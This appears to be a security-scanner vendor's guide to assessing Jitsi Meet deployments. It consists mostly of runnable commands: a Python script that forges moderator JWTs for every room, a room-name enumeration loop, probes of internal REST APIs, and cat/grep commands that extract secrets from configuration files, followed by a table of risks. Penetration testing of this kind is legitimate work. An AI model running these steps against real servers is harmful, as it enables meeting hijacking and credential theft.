Jitsi Meet is a widely deployed self-hosted video conferencing platform — it consists of multiple interacting components including Prosody XMPP, Jicofo conference focus, and JVB video bridge. Key assessment areas: JWT_APP_SECRET enables forging meeting authentication tokens granting moderator access to any room; Prosody component secrets are frequently set to weak defaults; the Jicofo REST API may expose conference statistics without authentication; and meeting rooms without locks or authentication enabled can be joined by anyone. This guide covers systematic Jitsi Meet security assessment.
# Jitsi Meet — authentication configuration and JWT token forgery
JITSI_URL="https://meet.example.com"
JITSI_DOMAIN="meet.example.com"
# Check if Jitsi allows anonymous access (no authentication)
# ENABLE_AUTH=0 means anyone can join and create rooms
curl -s "${JITSI_URL}/config.js" 2>/dev/null | \
grep -E "anonymousDomain|enableJwtAuth|requireDisplayName|tokenAuthUrl" | head -10
# Test anonymous room join (without credentials)
# If ENABLE_AUTH is disabled, any room name is joinable
# Common room naming patterns to enumerate:
for ROOM in "meeting" "standup" "all-hands" "board" "sales" "interview-2026" "cto-weekly"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${JITSI_URL}/${ROOM}" 2>/dev/null)
echo "${ROOM}: HTTP $STATUS"
# 200 = room accessible (may or may not require auth depending on config)
done
# JWT authentication — forge a meeting token if JWT_APP_SECRET is known
JWT_APP_ID="your-app-id"
JWT_APP_SECRET="your-jwt-secret"
python3 -c "
import json, base64, hmac, hashlib, time
header = {'alg': 'HS256', 'typ': 'JWT', 'kid': '${JWT_APP_ID}'}
payload = {
'iss': '${JWT_APP_ID}',
'aud': '${JITSI_DOMAIN}',
'sub': '${JITSI_DOMAIN}',
'room': '*', # * = access to ALL rooms
'iat': int(time.time()),
'exp': int(time.time()) + 86400,
'context': {
'user': {
'id': 'attacker',
'name': 'Security Tester',
'email': 'test@example.com',
'moderator': True # Grant moderator role
}
},
'moderator': True
}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
sig_input = f'{h}.{p}'
sig = hmac.new('${JWT_APP_SECRET}'.encode(), sig_input.encode(), hashlib.sha256).digest()
sig = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
print(f'Forged moderator JWT: {h}.{p}.{sig}')
print(f'Usage: {JITSI_URL}/any-room?jwt={h}.{p}.{sig}')
" 2>/dev/null
# Jitsi component secret testing and Jicofo API
JITSI_DOMAIN="meet.example.com"
# Jicofo REST API — conference statistics (may be unauthenticated)
# Jicofo typically listens on localhost:8888
curl -s "http://localhost:8888/about/stats" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Jicofo stats:')
print(f' conferences: {d.get(\"conferences\")}')
print(f' participants: {d.get(\"participants\")}')
confs = d.get('conference_sizes',{})
print(f' active_conf_sizes: {confs}')
" 2>/dev/null
# Check if Jicofo REST API is exposed externally
curl -s -o /dev/null -w "%{http_code}" \
"https://${JITSI_DOMAIN}/about/stats" 2>/dev/null
# Should return 404 — if 200, Jicofo API is externally accessible
# JVB REST API — video bridge statistics
# JVB typically listens on localhost:8080
curl -s "http://localhost:8080/colibri/stats" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'JVB stats: conferences={d.get(\"conferences\")} participants={d.get(\"participants\")}')
print(f' bit_rate_download={d.get(\"bit_rate_download\")}')
print(f' version={d.get(\"version\")}')
except: pass
" 2>/dev/null
# Prosody XMPP admin access test
# Prosody admin panel (if enabled): http://localhost:5280/admin
curl -s -o /dev/null -w "%{http_code}" "http://localhost:5280/admin/" 2>/dev/null
# Check component_secret strength — commonly set to weak values
# In prosody.cfg.lua: component_secret = "..."
grep -r "component_secret" /etc/prosody/ /etc/jitsi/prosody/ 2>/dev/null | head -5
# Jitsi Meet configuration file credential extraction
# .env file — Docker Compose deployment secrets
cat /opt/jitsi-meet/.env 2>/dev/null | grep -v "^#" | grep -v "^$" | head -30
# JWT_APP_ID — application identifier for JWT auth
# JWT_APP_SECRET — shared secret for JWT signing (moderator token forgery)
# JVB_AUTH_USER, JVB_AUTH_PASSWORD — video bridge Prosody credentials
# JICOFO_AUTH_USER, JICOFO_AUTH_PASSWORD — conference focus Prosody credentials
# JICOFO_COMPONENT_SECRET — Jicofo XMPP component secret
# JVB_BREWERY_MUC — video bridge XMPP MUC
# TURN_CREDENTIALS — TURN server shared secret
# Prosody configuration
cat /etc/prosody/conf.d/${JITSI_DOMAIN}.cfg.lua 2>/dev/null | \
grep -E "password|secret|credentials" | head -10
# component_secret — XMPP component authentication secret
# authentication = "token" — JWT auth mode
# app_secret — application JWT secret in Lua config
# VirtualHost credentials for jicofo and jvb
# Jicofo configuration
cat /etc/jitsi/jicofo/config 2>/dev/null | head -20
cat /etc/jitsi/jicofo/jicofo.conf 2>/dev/null | \
grep -E "password|secret|auth" | head -10
# JICOFO_AUTH_PASSWORD — Prosody password for jicofo
# focus component secret
# JVB configuration
cat /etc/jitsi/videobridge/config 2>/dev/null | head -20
cat /etc/jitsi/videobridge/jvb.conf 2>/dev/null | \
grep -E "password|secret|credentials" | head -10
# JVB_SECRET — video bridge Prosody authentication password
# TURN server credentials
cat /etc/coturn/turnserver.conf 2>/dev/null | \
grep -E "user|secret|realm|password" | head -10
# static-auth-secret — TURN shared secret for credential generation
| Security Test | Method | Risk |
|---|---|---|
| JWT_APP_SECRET extraction and moderator token forgery | Read .env JWT_APP_SECRET — forge HS256 JWT with moderator=true and room=* claims; moderator access to all meeting rooms; kick participants, disable A/V, end meetings | Critical |
| Unauthenticated meeting room access (ENABLE_AUTH=0) | GET /room-name — anonymous join when auth disabled; join private meetings without credentials; enumerate room names via predictable naming patterns | High |
| Jicofo REST API unauthenticated conference enumeration | GET /about/stats on port 8888 — active conference list with participant counts; if externally accessible, reveals all active meetings and their sizes | Medium |
| Prosody component_secret weak default testing | Read prosody.cfg.lua component_secret — if weak (changeme, jitsi, etc.), enables XMPP component impersonation on internal network; JVB and Jicofo session hijacking | High |
| TURN server shared secret extraction | Read turnserver.conf static-auth-secret — TURN credential generation secret; enables creating valid TURN credentials for unauthorized TURN relay usage and traffic amplification | Medium |
Ironimo tests Jitsi Meet deployments for ENABLE_AUTH=0 unauthenticated meeting access, JWT_APP_SECRET extraction and moderator token forgery, predictable meeting room name enumeration, Jicofo REST API external exposure and conference enumeration, JVB REST API unauthenticated stats access, Prosody component_secret weak default testing, TURN server shared secret extraction, .env JWT_APP_SECRET and JVB_AUTH_PASSWORD exposure, prosody.cfg.lua credential extraction, and meeting room lock bypass testing.
Start free scan